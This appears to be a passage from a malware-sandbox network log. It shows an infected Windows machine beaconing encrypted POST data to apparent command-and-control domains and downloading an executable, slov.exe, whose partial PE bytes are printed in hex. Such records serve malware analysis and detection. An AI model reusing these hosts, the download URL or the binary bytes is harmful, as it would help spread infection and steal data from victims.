25	192.168.2.3	49774	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:45.870645046 CEST	18125	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mxkkusd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 330 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:45.870660067 CEST	18126	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d0 66 95 02 1f d3 26 f2 fe 75 b5 5d 1c 56 Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f&u]V %dZv:2Q7JI3Ju;:xM237KP`Bl&\|f],5U1)&7$[bDX2NQxlIzk+\|I
Aug 31, 2022 08:34:45.953804970 CEST	18185	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49775	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:46.358560085 CEST	18298	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovkeyxgom.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 289 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:46.358658075 CEST	18299	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d0 66 94 02 1f d3 26 f2 fe 75 a5 5d 3f 0e Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f&u]?}aUm'%Y4A#YT}P}LDLt)Xqq-p(T=42$?I5I];`KEX02]6Srop3C`v,lSGAg/xD)
Aug 31, 2022 08:34:46.439955950 CEST	18523	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49776	194.87.94.240	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:46.525937080 CEST	18524	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://skkembj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 294 Host: ilabonjsnmwiy.top
Aug 31, 2022 08:34:46.526060104 CEST	18524	OUT	Data Raw: a4 60 86 7e fd 44 a2 28 28 c5 4a f6 e2 60 de 41 c0 d9 aa 6f 83 8e 90 a0 17 b2 02 f9 70 ac 63 4a c2 48 41 f5 0d bd eb 51 a3 50 7b e9 3a fe f6 9e 82 73 db c2 b0 91 d5 bb 20 52 b6 76 51 bc 20 1d d4 39 e2 12 d0 66 93 02 1f d3 26 f2 fe 75 cf 6a 35 2e Data Ascii: `~D((J`AopcJHAQP{:s RvQ 9f&uj5.CzU40RH[B#;-}\|%XtU-f^..j chCNgqn<?[ujo\Tk4/P'VO4"^cd}j\|B=tHcucxSi
Aug 31, 2022 08:34:46.622936964 CEST	18666	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49760	188.114.97.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49769	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\39AF.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49742	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:33:50.587341070 CEST	9125	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fbmqj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: linislominyt11.at
Aug 31, 2022 08:33:50.587490082 CEST	9126	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 af f5 43 f4 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOC:r5p39au3>8+@:0Bw wwH'M-"$Nl EPE}{.0=vap,<MXEzLb .9PX(}.9
Aug 31, 2022 08:33:51.240057945 CEST	9127	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:33:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 19 00 00 00 1d 3d 5a e6 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 22 92 ee 66 98 f7 72 ab c0 0b 97 d1 ce c9 dd fb 2c e1 31 79 ba 7c 34 a7 5b 0c e4 95 e1 2a a1 87 a2 74 6c 63 03 ba dd 49 d5 13 2f fa 2f 29 0f 98 7f 44 bd cb d0 26 94 b2 09 7e cf d9 3e 48 a1 37 b6 c1 be 15 9d 6d 5a 86 35 a9 3d 95 85 5b af 40 5e fd 10 0c 67 dc 5b b6 92 ad 94 c5 42 e9 a4 61 d0 12 c9 3c 39 f5 71 04 60 45 a8 ca 82 45 59 46 2f 09 7d 48 a3 49 04 0f 63 b1 40 11 d9 bc ee 1a 32 70 75 de 70 7d c2 61 5b 7a 6f f1 de 88 81 b6 53 d0 df c2 70 27 2d 5e 90 cc 9d de 40 22 f1 58 59 5e bb bd 59 a4 8d 4c e0 b7 d1 97 09 97 f2 22 ee 00 fb 91 8b ba d6 4b 81 d9 a5 bf 96 70 55 48 72 2a 05 09 5d 4c 8e ad 71 40 9b ef 4e 37 c3 1f 91 b6 7e 6a 72 5f 1e f2 46 60 6e 70 d1 da 50 3f 04 60 87 fe e6 18 22 84 2f c4 f1 ab a3 3d 3e Data Ascii: =Zq <`~E&oCU74o8,.g@.nY9v}Hr8Bfnpp}QHBCh3w)pF>t$27#k%1n~Yx0h;#]n3`Du~hyi1y#.0rYMk^d4fH=p nf/JTG7dr=$@(_[#P\|=YCy9za4t}a$ZWAk3]?Mh+uX2.SCDSPIfoEq{]knSbqiC0[?PMK"jq7GL)=\``C'iw(kGBtOe?1~U)Z$qgN}3Xh:hUT?dp\#9#P4J.bS&D7NGZ#7V4gy~<fWPtq6Tb@w6K7IDp}3f'&`GX?BV<x55$:!-Sk^@n\rx%v@mW2b^aI)w$1%eokhL30vE/=YlD{g7AH"oLs8Q0&QkiF}.a\|uq?zp)oaH&?&` [TG_m\|x8nm"fr,1y\|4[tlcI//)D&~>H7mZ5=[@^g[Ba<9q`EEYF/}HIc@2pup}a[zoSp'-^@"XY^YL"KpUHr]Lq@N7~jr_F`npP?`"/=>
Aug 31, 2022 08:33:51.240101099 CEST	9128	IN	Data Raw: bf 05 bd 6f e5 36 e2 56 d8 aa 56 30 6f 8b ab df a8 33 8a c2 0c 91 51 13 96 28 18 80 a3 71 92 1a c1 cb 6c 28 f7 f5 75 ca 6a 9e b0 2c 53 86 6f d6 0f dc d1 42 cb 69 c8 88 26 89 dd dd aa b3 a3 49 0f 94 f6 a4 13 63 53 6b e5 d0 71 12 6c 37 36 1a 8e 9a Data Ascii: o6VV0o3Q(ql(uj,SoBi&IcSkql76!%eIAUt6)Dhkz,^,NKOv"4"{p[,-[4JB}j1,@>\|$m$%Qr=nyDe_RB^J!AEAP
Aug 31, 2022 08:33:51.240130901 CEST	9129	IN	Data Raw: 08 0f 05 ee 96 14 65 fe 2a 3b 30 12 53 0d 1c 36 a7 f4 6d bf d6 91 69 2c 0d af 51 03 9c 4f e4 60 b9 57 54 0c e1 6a 5b 24 2a 3e da 0c e1 6a 74 3b ec 00 74 50 3e de 77 68 78 6c eb b4 dd 8d 38 3c e4 e3 91 a2 6a 85 5f 97 90 ce 6e cb 5e c3 b9 48 d2 4d Data Ascii: e;0S6mi,QO`WTj[$>jt;tP>whxl8<j_n^HMD];iii.Ip3d4>xl&$)Q6$Bq`Gk5s_rRP?ah(g`
Aug 31, 2022 08:33:51.240153074 CEST	9130	IN	Data Raw: a9 f4 0d 0c 37 6a c4 55 ab db 1c 4e 84 09 e0 4e 51 22 06 29 73 54 f5 9d 8b 39 6b f7 52 14 51 51 b4 18 84 5d d4 23 8c 92 ba 82 44 6f 79 68 6a 55 ce 15 c9 4a 91 1b 3f e5 4f 62 b2 38 eb 94 c8 79 37 e6 95 dc 66 c1 96 e0 9a 60 00 15 f3 24 7a b2 bd e5 Data Ascii: 7jUNNQ")sT9kRQQ]#DoyhjUJ?Ob8y7f`$zV2\|NucenIM{k3K1b*'rAP_.d8o&--fOVt8GN1\|7J6=\[(9,:P}7KqIEtph(79BoE(]t]_er8\|
Aug 31, 2022 08:33:51.240168095 CEST	9130	IN	Data Raw: 28 c7 2f c2 e3 58 a3 9c d8 f4 e9 f4 62 f6 bc 46 f2 6e 20 2d ff 74 b0 b2 4e 7c 00 2d a7 19 cc 63 84 24 1e f1 ef 24 09 06 7b 5e 44 e4 f0 1c 17 3c 7f dd e5 4d 60 08 30 70 36 f4 23 ba 9c 9c 11 f9 58 77 14 99 2f 09 18 4f 20 54 f1 2e 6c 69 ad 69 16 7a Data Ascii: (/XbFn -tN\|-c$${^D<M`0p6#Xw/O T.liiz'kV`0u#v
Aug 31, 2022 08:33:51.403122902 CEST	9132	IN	Data Raw: 3a ca 5c 42 40 fa ee 34 e0 aa ea 03 a9 b7 e7 76 b6 16 d4 fc 3e e0 93 f7 95 e1 20 a0 68 6f 4c 66 16 b4 2b 91 36 02 76 4f 7b a9 0c 0c 1a 83 e4 66 32 41 16 fc 03 eb b1 fd ca 81 4d 8b 32 cb 0f 89 1a 60 b0 4c af ad 82 c6 ad e6 dd 8d 65 9c ea d2 53 0f Data Ascii: :\B@4v> hoLf+6vO{f2AM2`LeSpCx@HJr]7>wUUL"4.@?kR@Vo?gxRG*jOF0z3)Ab?._c} G-;v JQIpJR cnLLb[
Aug 31, 2022 08:33:51.403156042 CEST	9133	IN	Data Raw: 9b 2b 07 7d 1e f7 22 b4 ca 9d 95 d7 c1 fb 51 f4 ca 18 75 dd ce a7 1f 6e a1 70 c4 5f c5 0e 56 9c 13 cb 94 80 3c 10 5c 95 f8 f8 1a e7 cd 87 57 06 d3 78 61 88 e0 2c da 62 11 fd 9c 7f b0 54 b5 7c 14 cb 2b c5 f0 de 92 06 63 4a 4e 8d 0f ef 57 75 71 8a Data Ascii: +}"Qunp_V<\Wxa,bT\|+cJNWuqEClAux\h> \];HB,l`y][[!Tj1QU}U;%CbI\|sbBG1 6*k/ita1WUwI"@U?+r}UA
Aug 31, 2022 08:33:51.403178930 CEST	9134	IN	Data Raw: 30 8f c4 e0 23 15 60 1d 04 18 b8 e1 34 a7 01 ae 91 3e ca 8e 71 c0 e9 ba 0c 00 2f 61 be c1 9b 6c b7 aa b5 1f dd 1c 84 4f 62 3d 17 7e 4d da 40 36 39 29 a1 2b a1 13 eb 02 6b 3f 18 75 7a 1f e7 fe 49 3a c1 95 55 11 b3 a5 c6 1a 6a 80 a9 58 7f 49 99 99 Data Ascii: 0#`4>q/alOb=~M@69)+k?uzI:UjXI32*e!)4p2fxtFSzdhMkj^kyC6pY(5SKCKp\!n<9jTGCtZAXDv/S5~NnN
Aug 31, 2022 08:33:51.403201103 CEST	9136	IN	Data Raw: 34 41 5c ae 77 6f ac 26 0d a5 12 73 db 41 b8 c0 2e 1d dd a0 8c b0 3f d3 9f b4 ca 0a 04 83 be e0 e5 0f 16 72 52 36 3b 69 48 c1 26 23 2b be 10 cc 56 83 14 a7 0f 14 a5 df 43 27 40 45 94 c9 a0 bd 21 46 6c 44 2d f1 d3 5b b8 38 81 ca 2f 8c 92 14 fc cb Data Ascii: 4A\wo&sA.?rR6;iH&#+VC'@E!FlD-[8/Zs{7sg\z)!aH0a`])%ua*\|C=/d%qt($l#hg7bTTnAtqfD6S
Aug 31, 2022 08:33:51.403220892 CEST	9137	IN	Data Raw: 0d ac a7 c5 1e 6d 44 ec f3 c2 c7 92 43 d7 d4 61 e9 72 11 8b 19 18 c0 07 86 dc 7b 05 57 5f e8 6a 51 46 24 c3 b0 b7 0f 9c df 3d a3 e6 31 12 f9 eb 53 d1 96 df 24 ff 11 e3 38 69 28 c0 f6 a0 67 12 88 91 62 f7 46 a4 44 f6 4c 99 1a 5e cc b6 d8 0c e7 42 Data Ascii: mDCar{W_jQF$=1S$8i(gbFDL^BL0S8g[jDxc+T1NH?HCdEZ.&KdIm8Y}UnB[`aJetLYjx+/%Fx
Aug 31, 2022 08:33:51.403242111 CEST	9138	IN	Data Raw: 1a 95 ca ee 7c a1 2f f1 94 18 de 76 b3 99 23 52 b6 a4 e8 09 08 8e 66 bd d8 3f 40 52 e9 e1 fc fb 54 42 a5 22 84 97 e0 3f 15 d6 8f c9 32 2b 1a 6d f2 11 7b 84 5d e9 eb 1c b5 f2 2d 57 ac 73 bf 86 4d 15 21 7d f2 79 bd 4a 2c 4a d0 32 77 8d ae 25 27 a4 Data Ascii: \|/v#Rf?@RTB"?2+m{]-WsM!}yJ,J2w%'vVg'=#>gVU=YFCt'zqmb{'dipl=yo/\36id_t3,s5ADY$veV\|-d9ypuY~4=2rflX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49743	196.200.111.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:33:53.233541965 CEST	9383	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gngex.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: linislominyt11.at
Aug 31, 2022 08:33:53.233556032 CEST	9383	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 83 d5 19 d7 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOt\|<zsk'`M\=H/Ev86\|T@rEBKr}EL,@u#a`qi9;?,
Aug 31, 2022 08:33:54.442610025 CEST	9383	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:33:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1f 90 18 db 55 d4 fa 0f b1 67 ff 3f 0a 4a 3b ff 70 4a 61 94 5d Data Ascii: Uys/~(`:Ug?J;pJa]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49744	91.217.57.30	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:33:54.516011953 CEST	9384	OUT	GET /slov.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: beijaflor.nu
Aug 31, 2022 08:33:54.550527096 CEST	9386	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:33:54 GMT Server: Apache/2.2.22 (Ubuntu) Last-Modified: Wed, 31 Aug 2022 00:01:15 GMT ETag: "20783-edb60-5e77e320e4c6f" Accept-Ranges: bytes Content-Length: 973664 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b2 3d 8b a3 f6 5c e5 f0 f6 5c e5 f0 f6 5c e5 f0 e2 37 e6 f1 e6 5c e5 f0 e2 37 e0 f1 5a 5c e5 f0 e2 37 e1 f1 ee 5c e5 f0 96 26 e1 f1 e7 5c e5 f0 96 26 e6 f1 e3 5c e5 f0 e2 37 e4 f1 f3 5c e5 f0 f6 5c e4 f0 a9 5c e5 f0 96 26 e0 f1 bd 5c e5 f0 92 26 e0 f1 f7 5c e5 f0 92 26 1a f0 f7 5c e5 f0 92 26 e7 f1 f7 5c e5 f0 52 69 63 68 f6 5c e5 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 a4 0e 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 20 00 08 0b 00 00 94 03 00 00 00 00 00 4a 2f 00 00 00 10 00 00 00 20 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0e 00 00 04 00 00 1c e3 0e 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 42 0e 00 3c 00 00 00 00 60 0e 00 8d 05 00 00 00 00 00 00 00 00 00 00 00 86 0e 00 60 55 00 00 00 70 0e 00 f4 62 00 00 70 c9 0c 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 c8 0c 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 0e 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b9 07 0b 00 00 10 00 00 00 08 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8c 33 02 00 00 20 0b 00 00 34 02 00 00 0c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 d7 00 00 00 60 0d 00 00 be 00 00 00 40 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 2d 0d 00 00 00 40 0e 00 00 0e 00 00 00 fe 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 50 0e 00 00 02 00 00 00 0c 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 8d 05 00 00 00 60 0e 00 00 06 00 00 00 0e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 70 00 00 00 70 0e 00 00 72 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 14 0c 01 00 e9 81 0e 01 00 e9 ea 31 07 00 e9 1b 7c 06 00 e9 42 44 06 00 e9 37 45 07 00 e9 c3 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=\\\7\7Z\7\&\&\7\\\&\&\&\&\Rich\PELc J/ @@B<``Upbp8@@.text `.rdata3 4@@.data`@@.idata-@@@.00cfgP@@.rsrc`@@.relocppr@B1\|BD7E
Aug 31, 2022 08:33:54.550590038 CEST	9387	IN	Data Raw: 86 07 00 e9 6f e0 06 00 e9 a3 69 09 00 e9 2f f6 09 00 e9 4b b6 06 00 e9 06 22 07 00 e9 2f af 02 00 e9 71 3e 09 00 e9 9c 88 07 00 e9 ab 18 09 00 e9 10 1f 07 00 e9 81 f1 08 00 e9 8b 1f 07 00 e9 14 36 08 00 e9 ab b8 02 00 e9 07 e7 06 00 e9 34 d2 02 Data Ascii: oi/K"/q>64'>8Q*0A8l$4v\+)m`5P
Aug 31, 2022 08:33:54.550643921 CEST	9388	IN	Data Raw: e9 7f 60 07 00 e9 58 21 02 00 e9 22 a9 05 00 e9 cd 1a 01 00 e9 b8 4c 04 00 e9 87 59 05 00 e9 82 61 04 00 e9 69 aa 05 00 e9 29 6a 08 00 e9 d1 d4 02 00 e9 7e 3d 0a 00 e9 74 95 07 00 e9 d4 68 08 00 e9 06 9e 07 00 e9 8c 4e 04 00 e9 e9 c9 02 00 e9 e6 Data Ascii: `X!"LYai)j~=thN6;gx^'sgGWXZ8K&5?"s]Z
Aug 31, 2022 08:33:54.550682068 CEST	9390	IN	Data Raw: 02 00 e9 ba f0 07 00 e9 e2 5d 09 00 e9 d1 00 08 00 e9 9d 42 0a 00 e9 3f 1d 09 00 e9 84 72 02 00 e9 a3 81 02 00 e9 42 c5 04 00 e9 08 74 0a 00 e9 91 3e 02 00 e9 9b b2 06 00 e9 ae a9 03 00 e9 8d c4 07 00 e9 4a 81 06 00 e9 a6 f2 07 00 e9 55 20 01 00 Data Ascii: ]B?rBt>JU w M]#}~3EH!MeCRjhbrxr!Cm9~d[Vny
Aug 31, 2022 08:33:54.550704956 CEST	9391	IN	Data Raw: 4e 91 02 00 e9 11 54 0a 00 e9 6c 5a 06 00 e9 0a 3e 04 00 e9 91 6a 09 00 e9 30 74 0a 00 e9 4b 2e 01 00 e9 34 59 07 00 e9 84 19 02 00 e9 01 64 07 00 e9 f8 ab 02 00 e9 4e 60 0a 00 e9 8c a6 06 00 e9 b3 59 07 00 e9 c3 b6 05 00 e9 f9 bc 02 00 e9 2a 3f Data Ascii: NTlZ>j0tK.4YdN`Y*?eXqS>MBow3rs\|ZK\|nCA)
Aug 31, 2022 08:33:54.550728083 CEST	9392	IN	Data Raw: 00 e9 9d 04 01 00 e9 6a 71 06 00 e9 73 3f 04 00 e9 fc b9 02 00 e9 f4 7c 02 00 e9 44 bf 09 00 e9 e9 2d 09 00 e9 89 cf 06 00 e9 5c ae 02 00 e9 06 c6 04 00 e9 d0 4c 04 00 e9 2d 4b 06 00 e9 8c 13 02 00 e9 51 9c 06 00 e9 eb 10 02 00 e9 c3 ed 07 00 e9 Data Ascii: jqs?\|D-\L-KQ0e<?mSxq"k}',1TtBzLdDz9p,-4ZMDX`K
Aug 31, 2022 08:33:54.550748110 CEST	9394	IN	Data Raw: a3 05 00 e9 f6 25 09 00 e9 a9 58 07 00 e9 f2 18 09 00 e9 52 f5 00 00 e9 03 56 08 00 e9 a2 62 08 00 e9 53 80 05 00 e9 de 16 01 00 e9 96 d3 03 00 e9 33 a2 03 00 e9 7d 31 0a 00 e9 5a dc 07 00 e9 1c b5 03 00 e9 06 c2 07 00 e9 56 67 03 00 e9 c2 1a 08 Data Ascii: %XRVbS3}1ZVgmcIz2=4}4@^JN@BkCM8wo+@HHC_Y)D\
